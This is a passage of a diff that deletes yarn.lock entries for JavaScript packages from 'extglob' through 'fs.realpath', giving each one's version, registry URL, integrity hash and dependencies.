-  dependencies:
-    chardet "^0.7.0"
-    iconv-lite "^0.4.24"
-    tmp "^0.0.33"
-
-extglob@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/extglob/-/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543"
-  integrity sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==
-  dependencies:
-    array-unique "^0.3.2"
-    define-property "^1.0.0"
-    expand-brackets "^2.1.4"
-    extend-shallow "^2.0.1"
-    fragment-cache "^0.2.1"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-extsprintf@1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
-  integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=
-
-extsprintf@^1.2.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.4.0.tgz#e2689f8f356fad62cca65a3a91c5df5f9551692f"
-  integrity sha1-4mifjzVvrWLMplo6kcXfX5VRaS8=
-
-fake-merkle-patricia-tree@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/fake-merkle-patricia-tree/-/fake-merkle-patricia-tree-1.0.1.tgz#4b8c3acfb520afadf9860b1f14cd8ce3402cddd3"
-  integrity sha1-S4w6z7Ugr635hgsfFM2M40As3dM=
-  dependencies:
-    checkpoint-store "^1.1.0"
-
-fancy-log@^1.3.2, fancy-log@^1.3.3:
-  version "1.3.3"
-  resolved "https://registry.yarnpkg.com/fancy-log/-/fancy-log-1.3.3.tgz#dbc19154f558690150a23953a0adbd035be45fc7"
-  integrity sha512-k9oEhlyc0FrVh25qYuSELjr8oxsCoc4/LEZfg2iJJrfEk/tZL9bCoJE47gqAvI2m/AUjluCS4+3I0eTx8n3AEw==
-  dependencies:
-    ansi-gray "^0.1.1"
-    color-support "^1.1.3"
-    parse-node-version "^1.0.0"
-    time-stamp "^1.0.0"
-
-fast-deep-equal@^3.1.1:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
-  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
-
-fast-diff@^1.1.2:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/fast-diff/-/fast-diff-1.2.0.tgz#73ee11982d86caaf7959828d519cfe927fac5f03"
-  integrity sha512-xJuoT5+L99XlZ8twedaRf6Ax2TgQVxvgZOYoPKqZufmJib0tL2tegPBOZb1pVNgIhlqDlA0eO0c3wBvQcmzx4w==
-
-fast-fifo@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/fast-fifo/-/fast-fifo-1.0.0.tgz#9bc72e6860347bb045a876d1c5c0af11e9b984e7"
-  integrity sha512-4VEXmjxLj7sbs8J//cn2qhRap50dGzF5n8fjay8mau+Jn4hxSeR3xPFwxMaQq/pDaq7+KQk0PAbC2+nWDkJrmQ==
-
-fast-glob@^2.0.2:
-  version "2.2.7"
-  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-2.2.7.tgz#6953857c3afa475fff92ee6015d52da70a4cd39d"
-  integrity sha512-g1KuQwHOZAmOZMuBtHdxDtju+T2RT8jgCC9aANsbpdiDDTSnjgfuVsIBNKbUeJI3oKMRExcfNDtJl4OhbffMsw==
-  dependencies:
-    "@mrmlnc/readdir-enhanced" "^2.2.1"
-    "@nodelib/fs.stat" "^1.1.2"
-    glob-parent "^3.1.0"
-    is-glob "^4.0.0"
-    merge2 "^1.2.3"
-    micromatch "^3.1.10"
-
-fast-glob@^3.0.3:
-  version "3.2.5"
-  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.2.5.tgz#7939af2a656de79a4f1901903ee8adcaa7cb9661"
-  integrity sha512-2DtFcgT68wiTTiwZ2hNdJfcHNke9XOfnwmBRWXhmeKM8rF0TGwmC/Qto3S7RoZKp5cilZbxzO5iTNTQsJ+EeDg==
-  dependencies:
-    "@nodelib/fs.stat" "^2.0.2"
-    "@nodelib/fs.walk" "^1.2.3"
-    glob-parent "^5.1.0"
-    merge2 "^1.3.0"
-    micromatch "^4.0.2"
-    picomatch "^2.2.1"
-
-fast-json-stable-stringify@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
-  integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
-
-fast-levenshtein@^1.0.0:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-1.1.4.tgz#e6a754cc8f15e58987aa9cbd27af66fd6f4e5af9"
-  integrity sha1-5qdUzI8V5YmHqpy9J69m/W9OWvk=
-
-fast-levenshtein@~2.0.6:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
-  integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=
-
-fast-safe-stringify@^2.0.6:
-  version "2.0.7"
-  resolved "https://registry.yarnpkg.com/fast-safe-stringify/-/fast-safe-stringify-2.0.7.tgz#124aa885899261f68aedb42a7c080de9da608743"
-  integrity sha512-Utm6CdzT+6xsDk2m8S6uL8VHxNwI6Jub+e9NYTcAms28T84pTa25GJQV9j0CY0N1rM8hK4x6grpF2BQf+2qwVA==
-
-fastq@^1.6.0:
-  version "1.11.0"
-  resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.11.0.tgz#bb9fb955a07130a918eb63c1f5161cc32a5d0858"
-  integrity sha512-7Eczs8gIPDrVzT+EksYBcupqMyxSHXXrHOLRRxU2/DicV8789MRBRR8+Hc2uWzUupOs4YS4JzBmBxjjCVBxD/g==
-  dependencies:
-    reusify "^1.0.4"
-
-faye-websocket@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.10.0.tgz#4e492f8d04dfb6f89003507f6edbf2d501e7c6f4"
-  integrity sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=
-  dependencies:
-    websocket-driver ">=0.5.1"
-
-faye-websocket@~0.11.1:
-  version "0.11.4"
-  resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.11.4.tgz#7f0d9275cfdd86a1c963dc8b65fcc451edcbb1da"
-  integrity sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==
-  dependencies:
-    websocket-driver ">=0.5.1"
-
-fb-watchman@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/fb-watchman/-/fb-watchman-2.0.1.tgz#fc84fb39d2709cf3ff6d743706157bb5708a8a85"
-  integrity sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg==
-  dependencies:
-    bser "2.1.1"
-
-fbemitter@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/fbemitter/-/fbemitter-3.0.0.tgz#00b2a1af5411254aab416cd75f9e6289bee4bff3"
-  integrity sha512-KWKaceCwKQU0+HPoop6gn4eOHk50bBv/VxjJtGMfwmJt3D29JpN4H4eisCtIPA+a8GVBam+ldMMpMjJUvpDyHw==
-  dependencies:
-    fbjs "^3.0.0"
-
-fbjs-css-vars@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/fbjs-css-vars/-/fbjs-css-vars-1.0.2.tgz#216551136ae02fe255932c3ec8775f18e2c078b8"
-  integrity sha512-b2XGFAFdWZWg0phtAWLHCk836A1Xann+I+Dgd3Gk64MHKZO44FfoD1KxyvbSh0qZsIoXQGGlVztIY+oitJPpRQ==
-
-fbjs@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/fbjs/-/fbjs-3.0.0.tgz#0907067fb3f57a78f45d95f1eacffcacd623c165"
-  integrity sha512-dJd4PiDOFuhe7vk4F80Mba83Vr2QuK86FoxtgPmzBqEJahncp+13YCmfoa53KHCo6OnlXLG7eeMWPfB5CrpVKg==
-  dependencies:
-    cross-fetch "^3.0.4"
-    fbjs-css-vars "^1.0.0"
-    loose-envify "^1.0.0"
-    object-assign "^4.1.0"
-    promise "^7.1.1"
-    setimmediate "^1.0.5"
-    ua-parser-js "^0.7.18"
-
-fetch-ponyfill@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/fetch-ponyfill/-/fetch-ponyfill-4.1.0.tgz#ae3ce5f732c645eab87e4ae8793414709b239893"
-  integrity sha1-rjzl9zLGReq4fkroeTQUcJsjmJM=
-  dependencies:
-    node-fetch "~1.7.1"
-
-figgy-pudding@^3.5.1:
-  version "3.5.2"
-  resolved "https://registry.yarnpkg.com/figgy-pudding/-/figgy-pudding-3.5.2.tgz#b4eee8148abb01dcf1d1ac34367d59e12fa61d6e"
-  integrity sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw==
-
-figures@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/figures/-/figures-2.0.0.tgz#3ab1a2d2a62c8bfb431a0c94cb797a2fce27c962"
-  integrity sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=
-  dependencies:
-    escape-string-regexp "^1.0.5"
-
-figures@^3.0.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/figures/-/figures-3.2.0.tgz#625c18bd293c604dc4a8ddb2febf0c88341746af"
-  integrity sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==
-  dependencies:
-    escape-string-regexp "^1.0.5"
-
-file-entry-cache@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-5.0.1.tgz#ca0f6efa6dd3d561333fb14515065c2fafdf439c"
-  integrity sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==
-  dependencies:
-    flat-cache "^2.0.1"
-
-file-loader@4.3.0:
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/file-loader/-/file-loader-4.3.0.tgz#780f040f729b3d18019f20605f723e844b8a58af"
-  integrity sha512-aKrYPYjF1yG3oX0kWRrqrSMfgftm7oJW5M+m4owoldH5C51C0RkIwB++JbRvEW3IU6/ZG5n8UvEcdgwOt2UOWA==
-  dependencies:
-    loader-utils "^1.2.3"
-    schema-utils "^2.5.0"
-
-file-uri-to-path@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz#553a7b8446ff6f684359c445f1e37a05dacc33dd"
-  integrity sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==
-
-filesize@6.0.1:
-  version "6.0.1"
-  resolved "https://registry.yarnpkg.com/filesize/-/filesize-6.0.1.tgz#f850b509909c7c86f7e450ea19006c31c2ed3d2f"
-  integrity sha512-u4AYWPgbI5GBhs6id1KdImZWn5yfyFrrQ8OWZdN7ZMfA8Bf4HcO0BGo9bmUIEV8yrp8I1xVfJ/dn90GtFNNJcg==
-
-fill-range@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7"
-  integrity sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-number "^3.0.0"
-    repeat-string "^1.6.1"
-    to-regex-range "^2.1.0"
-
-fill-range@^7.0.1:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40"
-  integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==
-  dependencies:
-    to-regex-range "^5.0.1"
-
-finalhandler@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d"
-  integrity sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==
-  dependencies:
-    debug "2.6.9"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    statuses "~1.5.0"
-    unpipe "~1.0.0"
-
-find-cache-dir@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-0.1.1.tgz#c8defae57c8a52a8a784f9e31c57c742e993a0b9"
-  integrity sha1-yN765XyKUqinhPnjHFfHQumToLk=
-  dependencies:
-    commondir "^1.0.1"
-    mkdirp "^0.5.1"
-    pkg-dir "^1.0.0"
-
-find-cache-dir@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-2.1.0.tgz#8d0f94cd13fe43c6c7c261a0d86115ca918c05f7"
-  integrity sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==
-  dependencies:
-    commondir "^1.0.1"
-    make-dir "^2.0.0"
-    pkg-dir "^3.0.0"
-
-find-cache-dir@^3.3.1:
-  version "3.3.1"
-  resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-3.3.1.tgz#89b33fad4a4670daa94f855f7fbe31d6d84fe880"
-  integrity sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==
-  dependencies:
-    commondir "^1.0.1"
-    make-dir "^3.0.2"
-    pkg-dir "^4.1.0"
-
-find-up@4.1.0, find-up@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
-  integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==
-  dependencies:
-    locate-path "^5.0.0"
-    path-exists "^4.0.0"
-
-find-up@^1.0.0:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-1.1.2.tgz#6b2e9822b1a2ce0a60ab64d610eccad53cb24d0f"
-  integrity sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=
-  dependencies:
-    path-exists "^2.0.0"
-    pinkie-promise "^2.0.0"
-
-find-up@^2.0.0, find-up@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-2.1.0.tgz#45d1b7e506c717ddd482775a2b77920a3c0c57a7"
-  integrity sha1-RdG35QbHF93UgndaK3eSCjwMV6c=
-  dependencies:
-    locate-path "^2.0.0"
-
-find-up@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73"
-  integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==
-  dependencies:
-    locate-path "^3.0.0"
-
-findup-sync@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/findup-sync/-/findup-sync-2.0.0.tgz#9326b1488c22d1a6088650a86901b2d9a90a2cbc"
-  integrity sha1-kyaxSIwi0aYIhlCoaQGy2akKLLw=
-  dependencies:
-    detect-file "^1.0.0"
-    is-glob "^3.1.0"
-    micromatch "^3.0.4"
-    resolve-dir "^1.0.1"
-
-findup-sync@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/findup-sync/-/findup-sync-3.0.0.tgz#17b108f9ee512dfb7a5c7f3c8b27ea9e1a9c08d1"
-  integrity sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==
-  dependencies:
-    detect-file "^1.0.0"
-    is-glob "^4.0.0"
-    micromatch "^3.0.4"
-    resolve-dir "^1.0.1"
-
-fined@^1.0.1:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/fined/-/fined-1.2.0.tgz#d00beccf1aa2b475d16d423b0238b713a2c4a37b"
-  integrity sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==
-  dependencies:
-    expand-tilde "^2.0.2"
-    is-plain-object "^2.0.3"
-    object.defaults "^1.1.0"
-    object.pick "^1.2.0"
-    parse-filepath "^1.0.1"
-
-flagged-respawn@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/flagged-respawn/-/flagged-respawn-1.0.1.tgz#e7de6f1279ddd9ca9aac8a5971d618606b3aab41"
-  integrity sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==
-
-flat-cache@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-2.0.1.tgz#5d296d6f04bda44a4630a301413bdbc2ec085ec0"
-  integrity sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==
-  dependencies:
-    flatted "^2.0.0"
-    rimraf "2.6.3"
-    write "1.0.3"
-
-flatted@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/flatted/-/flatted-2.0.2.tgz#4575b21e2bcee7434aa9be662f4b7b5f9c2b5138"
-  integrity sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==
-
-flatten@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/flatten/-/flatten-1.0.3.tgz#c1283ac9f27b368abc1e36d1ff7b04501a30356b"
-  integrity sha512-dVsPA/UwQ8+2uoFe5GHtiBMu48dWLTdsuEd7CKGlZlD78r1TTWBvDuFaFGKCo/ZfEr95Uk56vZoX86OsHkUeIg==
-
-flush-write-stream@^1.0.0, flush-write-stream@^1.0.2:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/flush-write-stream/-/flush-write-stream-1.1.1.tgz#8dd7d873a1babc207d94ead0c2e0e44276ebf2e8"
-  integrity sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==
-  dependencies:
-    inherits "^2.0.3"
-    readable-stream "^2.3.6"
-
-flux@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/flux/-/flux-4.0.1.tgz#7843502b02841d4aaa534af0b373034a1f75ee5c"
-  integrity sha512-emk4RCvJ8RzNP2lNpphKnG7r18q8elDYNAPx7xn+bDeOIo9FFfxEfIQ2y6YbQNmnsGD3nH1noxtLE64Puz1bRQ==
-  dependencies:
-    fbemitter "^3.0.0"
-    fbjs "^3.0.0"
-
-follow-redirects@^1.0.0, follow-redirects@^1.10.0:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.14.1.tgz#d9114ded0a1cfdd334e164e6662ad02bfd91ff43"
-  integrity sha512-HWqDgT7ZEkqRzBvc2s64vSZ/hfOceEol3ac/7tKwzuvEyWx3/4UegXh5oBOIotkGsObyk3xznnSRVADBgWSQVg==
-
-for-each@^0.3.3:
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.3.tgz#69b447e88a0a5d32c3e7084f3f1710034b21376e"
-  integrity sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==
-  dependencies:
-    is-callable "^1.1.3"
-
-for-in@^0.1.3:
-  version "0.1.8"
-  resolved "https://registry.yarnpkg.com/for-in/-/for-in-0.1.8.tgz#d8773908e31256109952b1fdb9b3fa867d2775e1"
-  integrity sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=
-
-for-in@^1.0.1, for-in@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
-  integrity sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=
-
-for-own@^0.1.3:
-  version "0.1.5"
-  resolved "https://registry.yarnpkg.com/for-own/-/for-own-0.1.5.tgz#5265c681a4f294dabbf17c9509b6763aa84510ce"
-  integrity sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=
-  dependencies:
-    for-in "^1.0.1"
-
-for-own@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/for-own/-/for-own-1.0.0.tgz#c63332f415cedc4b04dbfe70cf836494c53cb44b"
-  integrity sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=
-  dependencies:
-    for-in "^1.0.1"
-
-forever-agent@~0.6.1:
-  version "0.6.1"
-  resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91"
-  integrity sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=
-
-fork-ts-checker-webpack-plugin@3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-3.1.1.tgz#a1642c0d3e65f50c2cc1742e9c0a80f441f86b19"
-  integrity sha512-DuVkPNrM12jR41KM2e+N+styka0EgLkTnXmNcXdgOM37vtGeY+oCBK/Jx0hzSeEU6memFCtWb4htrHPMDfwwUQ==
-  dependencies:
-    babel-code-frame "^6.22.0"
-    chalk "^2.4.1"
-    chokidar "^3.3.0"
-    micromatch "^3.1.10"
-    minimatch "^3.0.4"
-    semver "^5.6.0"
-    tapable "^1.0.0"
-    worker-rpc "^0.1.0"
-
-form-data@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-3.0.1.tgz#ebd53791b78356a99af9a300d4282c4d5eb9755f"
-  integrity sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==
-  dependencies:
-    asynckit "^0.4.0"
-    combined-stream "^1.0.8"
-    mime-types "^2.1.12"
-
-form-data@~2.3.2:
-  version "2.3.3"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.3.3.tgz#dcce52c05f644f298c6a7ab936bd724ceffbf3a6"
-  integrity sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==
-  dependencies:
-    asynckit "^0.4.0"
-    combined-stream "^1.0.6"
-    mime-types "^2.1.12"
-
-forwarded@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811"
-  integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==
-
-fraction.js@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/fraction.js/-/fraction.js-4.1.1.tgz#ac4e520473dae67012d618aab91eda09bcb400ff"
-  integrity sha512-MHOhvvxHTfRFpF1geTK9czMIZ6xclsEor2wkIGYYq+PxcQqT7vStJqjhe6S1TenZrMZzo+wlqOufBDVepUEgPg==
-
-fragment-cache@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/fragment-cache/-/fragment-cache-0.2.1.tgz#4290fad27f13e89be7f33799c6bc5a0abfff0d19"
-  integrity sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=
-  dependencies:
-    map-cache "^0.2.2"
-
-fresh@0.5.2:
-  version "0.5.2"
-  resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
-  integrity sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=
-
-from2@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/from2/-/from2-2.3.0.tgz#8bfb5502bde4a4d36cfdeea007fcca21d7e382af"
-  integrity sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=
-  dependencies:
-    inherits "^2.0.1"
-    readable-stream "^2.0.0"
-
-fs-extra@^4.0.2:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-4.0.3.tgz#0d852122e5bc5beb453fb028e9c0c9bf36340c94"
-  integrity sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-extra@^7.0.0:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-7.0.1.tgz#4f189c44aa123b895f722804f55ea23eadc348e9"
-  integrity sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-extra@^8.1.0:
-  version "8.1.0"
-  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-8.1.0.tgz#49d43c45a88cd9677668cb7be1b46efdb8d2e1c0"
-  integrity sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==
-  dependencies:
-    graceful-fs "^4.2.0"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-extra@^9.0.1:
-  version "9.1.0"
-  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-9.1.0.tgz#5954460c764a8da2094ba3554bf839e6b9a7c86d"
-  integrity sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==
-  dependencies:
-    at-least-node "^1.0.0"
-    graceful-fs "^4.2.0"
-    jsonfile "^6.0.1"
-    universalify "^2.0.0"
-
-fs-minipass@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb"
-  integrity sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==
-  dependencies:
-    minipass "^3.0.0"
-
-fs-mkdirp-stream@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/fs-mkdirp-stream/-/fs-mkdirp-stream-1.0.0.tgz#0b7815fc3201c6a69e14db98ce098c16935259eb"
-  integrity sha1-C3gV/DIBxqaeFNuYzgmMFpNSWes=
-  dependencies:
-    graceful-fs "^4.1.11"
-    through2 "^2.0.3"
-
-fs-write-stream-atomic@^1.0.8:
-  version "1.0.10"
-  resolved "https://registry.yarnpkg.com/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz#b47df53493ef911df75731e70a9ded0189db40c9"
-  integrity sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=
-  dependencies:
-    graceful-fs "^4.1.2"
-    iferr "^0.1.5"
-    imurmurhash "^0.1.4"
-    readable-stream "1 || 2"
-
-fs.realpath@^1.0.0:
-  version "1.0.0"
